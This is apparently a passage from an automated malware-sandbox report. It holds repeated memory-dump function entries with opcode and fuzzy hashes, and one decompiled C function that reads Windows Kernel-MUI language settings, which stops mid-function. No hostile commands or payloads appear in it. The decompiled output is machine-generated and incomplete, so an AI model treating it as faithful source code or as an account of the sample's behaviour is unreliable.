Opcode Fuzzy Hash: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction Fuzzy Hash: 5CB012B2100580C7E30D9714DD06B4B7210FB80F00F00893AA10B81861DB7C9A2CD45E

Uniqueness

Uniqueness Score: -1.00%

Function 009301D4, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction ID: 018f436d7687ff9142db90ebed9d2f0c0dfd000868ccafab48d689f3c6447ef1
Opcode Fuzzy Hash: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction Fuzzy Hash: B2B01272100940C7E359A714ED46B4B7210FB80F01F00C93BA01B81851DB38AA3CDD96

Uniqueness

Uniqueness Score: -1.00%

Function 0093010C, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee2127f5049c20af2db79b3523ae30c516210f3a5483c1737df9ea5d0a06ca55
Instruction ID: 6f78205b53d22ab4e8c81d7e3ead40d6172b524c4c965a7ad5e52c730ffb8076
Opcode Fuzzy Hash: ee2127f5049c20af2db79b3523ae30c516210f3a5483c1737df9ea5d0a06ca55
Instruction Fuzzy Hash: B8B01273104D40C7E3099714DD16F4FB310FB90F02F00893EA00B81850DA38A92CC846

Uniqueness

Uniqueness Score: -1.00%

Function 00931148, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a4eb0b16b3dbbf7110758f456c9aa6f179838dd1f90225a28a8369ad29a59d
Instruction ID: 165250f8074bc0ef9cdc504fa449021ea13c8322197c03fc884fef66fc1cad38
Opcode Fuzzy Hash: a1a4eb0b16b3dbbf7110758f456c9aa6f179838dd1f90225a28a8369ad29a59d
Instruction Fuzzy Hash: 23B01272140580C7E31D9718D906B5B7610FB80F00F008D3AA04781CA1DBB89A2CE44A

Uniqueness

Uniqueness Score: -1.00%

Function 0092F8CC, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33242f20aaab27225aff268df6c25d5fe4c2b5540d13ace685107ef1cdf40795
Instruction ID: b608c8617bc096b37df9be2f0bc93e64f466faa20b7dbfb3ee59c54b4bfc8c85
Opcode Fuzzy Hash: 33242f20aaab27225aff268df6c25d5fe4c2b5540d13ace685107ef1cdf40795
Instruction Fuzzy Hash: EBB01275100540C7F304D704D905F4AB311FBD0F04F40893AE40786591D77EAD28C697

Uniqueness

Uniqueness Score: -1.00%

Function 00931930, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24bb0b37ea7353fce174200a7558970e7d293f02c0796de48d820b1db3e8008e
Instruction ID: 3aeeca65ea1aaf37b62c9893cb2d02334d47a3b29990fed3fb0e6cbc500f1d8d
Opcode Fuzzy Hash: 24bb0b37ea7353fce174200a7558970e7d293f02c0796de48d820b1db3e8008e
Instruction Fuzzy Hash: 52B01272100940C7E34AA714DE07B8BB210FBD0F01F00893BA04B85D50D638A92CC546

Uniqueness

Uniqueness Score: -1.00%

Function 0092F938, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2cab816673a0835cc858cab12777882f58cc76e03a07139f76655cd686d1a0
Instruction ID: d523cc507bde657408e54325c2dcaf12b60df831943b7985b4c6fe4931788f26
Opcode Fuzzy Hash: 4f2cab816673a0835cc858cab12777882f58cc76e03a07139f76655cd686d1a0
Instruction Fuzzy Hash: FCB0927220194087E2099B04D905B477251EBC0B01F408934A50646590DB399928D947

Uniqueness

Uniqueness Score: -1.00%

Function 0092FAB8, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction ID: c22cab920426f99211259bec297b66dc94c7f77789dfa39603ac798b5fdced38
Opcode Fuzzy Hash: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction Fuzzy Hash: 66B01272100544C7E349B714D906B8B7210FF80F00F00893AA00782861DB389A2CE996

Uniqueness

Uniqueness Score: -1.00%

Function 0092FA20, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd081996be218738afd9aebd029b97e59d15eb89e01646829fdeee62bde327fa
Instruction ID: 9b5f4fb9875c6876c932e4128e9800c708acc4d40f0b969179b44b3e8b2884d0
Opcode Fuzzy Hash: dd081996be218738afd9aebd029b97e59d15eb89e01646829fdeee62bde327fa
Instruction Fuzzy Hash: 4FB01272100580C7E30D9714D90AB4B7210FB80F00F00CD3AA00781861DB78DA2CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 0092FA50, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a404d463d6f8697e12459a80a2071a15e1bd5ec6cf7fed7c99dd07a5c51de8f6
Instruction ID: 2cae8b11bd858d750de1a79d340ce6dfe3ec44f87311ce0e8d0be64a47f0ebf6
Opcode Fuzzy Hash: a404d463d6f8697e12459a80a2071a15e1bd5ec6cf7fed7c99dd07a5c51de8f6
Instruction Fuzzy Hash: 9BB01272100544C7E349A714DA07B8B7210FB80F00F008D3BA04782851DFB89A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 0092FBE8, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c324cfac0bc47b069c1788d5b946c83edf7c28d4d9dcf1ed0d5a02e7884c4d21
Instruction ID: 9452a8d0b0f104eb9e4922b1c8778681c83a3ee0f3d85b1ffb0a7dc5c1b1eaf2
Opcode Fuzzy Hash: c324cfac0bc47b069c1788d5b946c83edf7c28d4d9dcf1ed0d5a02e7884c4d21
Instruction Fuzzy Hash: 9AB01272100640C7E349A714DA0BB5B7210FB80F00F00893BE00781852DF389A2CD986

Uniqueness

Uniqueness Score: -1.00%

Function 0092FB50, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 0092FC30, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d06e62ecc0ccff2d82fb33389f73f013fdf3a2f5ea46d36b3417402e9c0144c
Instruction ID: bea31e52b4947098166a5853b381437c0ce687cada8622438d1654f6fc3cd67c
Opcode Fuzzy Hash: 5d06e62ecc0ccff2d82fb33389f73f013fdf3a2f5ea46d36b3417402e9c0144c
Instruction Fuzzy Hash: B2B01272140540C7E3099714DA1AB5B7210FB80F00F008D3AE04781891DB7C9A2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 00930C40, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f629700e8a0faf16c3a99a987d81dda9b9e9a08178d0ad03aaec4005a132e95a
Instruction ID: df3521920546c87a7cfa40f03b9d1cb3325e43f750a27356a7d3e25b902d3ed9
Opcode Fuzzy Hash: f629700e8a0faf16c3a99a987d81dda9b9e9a08178d0ad03aaec4005a132e95a
Instruction Fuzzy Hash: FAB01272201540C7F349A714D946F5BB210FB90F04F008A3AE04782850DA38992CC547

Uniqueness

Uniqueness Score: -1.00%

Function 0092FC48, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f2af904bd49f46abffdb2c3bdfb425abd6ec71f3c15e3442cbf597b06952ad7
Instruction ID: ba27d4cd5f553268e31cb600e7e3d5a3e50323ff6ed211678ad30f7188510e08
Opcode Fuzzy Hash: 5f2af904bd49f46abffdb2c3bdfb425abd6ec71f3c15e3442cbf597b06952ad7
Instruction Fuzzy Hash: 39B01272100540C7E319A714D90AB5B7250FF80F00F00893AE10781861DB38992CD456

Uniqueness

Uniqueness Score: -1.00%

Function 00931D80, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18add7eb1c2e7e0a1a3b96ba9e1590d2475205760e881687e9c53b2b1b4fe652
Instruction ID: c40cb18f784fb740092d7f35057b9839572fe11e4001cfe90af8ac8386c88b07
Opcode Fuzzy Hash: 18add7eb1c2e7e0a1a3b96ba9e1590d2475205760e881687e9c53b2b1b4fe652
Instruction Fuzzy Hash: A6B09271508A40C7E204A704D985B46B221FB90B00F408938A04B865A0D72CA928C686

Uniqueness

Uniqueness Score: -1.00%

Function 0092FD5C, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction ID: 152fdd420af7dfcc6df86c72954370e6eab1db85fd0a81c34441345ed48de2b3
Opcode Fuzzy Hash: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction Fuzzy Hash: 27B01272141540C7E349A714D90AB6B7220FB80F00F00893AE00781852DB389B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 0092FE24, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction ID: 4523e9276363b51c29093556ee00c3605be97a6a096d126b10744d78506899f7
Opcode Fuzzy Hash: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction Fuzzy Hash: E7B012B2104580C7E31A9714D906B4B7210FB80F00F40893AA00B81861DB389A2CD456

Uniqueness

Uniqueness Score: -1.00%

Function 0092FFFC, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction ID: 5af6445773ea8696aa9cd62fdf5509cf1cb9f7b4cf56a5a77559796e3d2133fe
Opcode Fuzzy Hash: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction Fuzzy Hash: 07B012B2240540C7E30D9714D906B4B7250FBC0F00F00893AE10B81850DA3C993CC44B

Uniqueness

Uniqueness Score: -1.00%

Function 0092FF34, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction ID: c0177d7ad0d10355b3c7d2619bc7f24452a3c2aab25a1a733e07692cdee9b307
Opcode Fuzzy Hash: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction Fuzzy Hash: B1B012B2200540C7E319D714D906F4B7210FB80F00F40893AB10B81862DB3C992CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 00958788, Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00958788(signed int __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				short* _v12;
				void* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				void* _t216;
				intOrPtr _t231;
				short* _t235;
				intOrPtr _t257;
				short* _t261;
				intOrPtr _t284;
				intOrPtr _t288;
				void* _t314;
				signed int _t318;
				short* _t319;
				intOrPtr _t321;
				void* _t328;
				void* _t329;
				char* _t332;
				signed int _t333;
				signed int* _t334;
				void* _t335;
				void* _t338;
				void* _t339;

				_t328 = __edx;
				_t322 = __ecx;
				_t318 = 0;
				_t334 = _a4;
				_v8 = 0;
				_v28 = 0;
				_v48 = 0;
				_v20 = 0;
				_v40 = 0;
				_v32 = 0;
				_v52 = 0;
				if(_t334 == 0) {
					_t329 = 0xc000000d;
					L49:
					_t334[0x11] = _v56;
					 *_t334 =  *_t334 | 0x00000800;
					_t334[0x12] = _v60;
					_t334[0x13] = _v28;
					_t334[0x17] = _v20;
					_t334[0x16] = _v48;
					_t334[0x18] = _v40;
					_t334[0x14] = _v32;
					_t334[0x15] = _v52;
					return _t329;
				}
				_v56 = 0;
				if(E00958460(__ecx, L"WindowsExcludedProcs",  &_v44,  &_v24,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						_t207 = E0093E025(__ecx,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
					}
					_push(1);
					_v8 = _t318;
					E0095718A(_t207);
					_t335 = _t335 + 4;
				}
				_v60 = _v60 | 0xffffffff;
				if(E00958460(_t322, L"Kernel-MUI-Number-Allowed",  &_v44,  &_v24,  &_v8) >= 0) {
					_t333 =  *_v8;
					_v60 = _t333;
					_t314 = E0093E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					_push(_t333);
					_v8 = _t318;
					E0095718A(_t314);
					_t335 = _t335 + 4;
				}
				_t216 = E00958460(_t322, L"Kernel-MUI-Language-Allowed",  &_v44,  &_v24,  &_v8);
				_t332 = ";";
				if(_t216 < 0) {
					L17:
					if(E00958460(_t322, L"Kernel-MUI-Language-Disallowed",  &_v44,  &_v24,  &_v8) < 0) {
						L30:
						if(E00958460(_t322, L"Kernel-MUI-Language-SKU",  &_v44,  &_v24,  &_v8) < 0) {
							L46:
							_t329 = 0;
							L47:
							if(_v8 != _t318) {
								E0093E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
							}
							if(_v28 != _t318) {
								if(_v20 != _t318) {
									E0093E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
									_v20 = _t318;
									_v40 = _t318;
								}
							}
							goto L49;
						}
						_t231 = _v24;
						_t322 = _t231 + 4;
						_push(_t231);
						_v52 = _t322;
						E0095718A(_t231);
						if(_t322 == _t318) {
							_v32 = _t318;
						} else {
							_v32 = E0093E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
						}
						if(_v32 == _t318) {
							_v52 = _t318;
							L58:
							_t329 = 0xc0000017;
							goto L47;
						} else {
							E00932340(_v32, _v8, _v24);
							_v16 = _v32;
							_a4 = _t318;
							_t235 = E0094E679(_v32, _t332);
							while(1) {
								_t319 = _t235;
								if(_t319 == 0) {
									break;
								}
								 *_t319 = 0;
								_t321 = _t319 + 2;
								E0093E2A8(_t322,  &_v68, _v16);
								if(E00955553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
								_v16 = _t321;
								_t235 = E0094E679(_t321, _t332);
								_pop(_t322);
							}
							_t236 = _v16;
							if( *_v16 != _t319) {
								E0093E2A8(_t322,  &_v68, _t236);
								if(E00955553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
							}
							if(_a4 == 0) {
								E0093E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v32);
								_v52 = _v52 & 0x00000000;
								_v32 = _v32 & 0x00000000;
							}
							if(_v8 != 0) {
								E0093E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
							}
							_v8 = _v8 & 0x00000000;
							_t318 = 0;
							goto L46;
						}
					}
					_t257 = _v24;
					_t322 = _t257 + 4;
					_push(_t257);
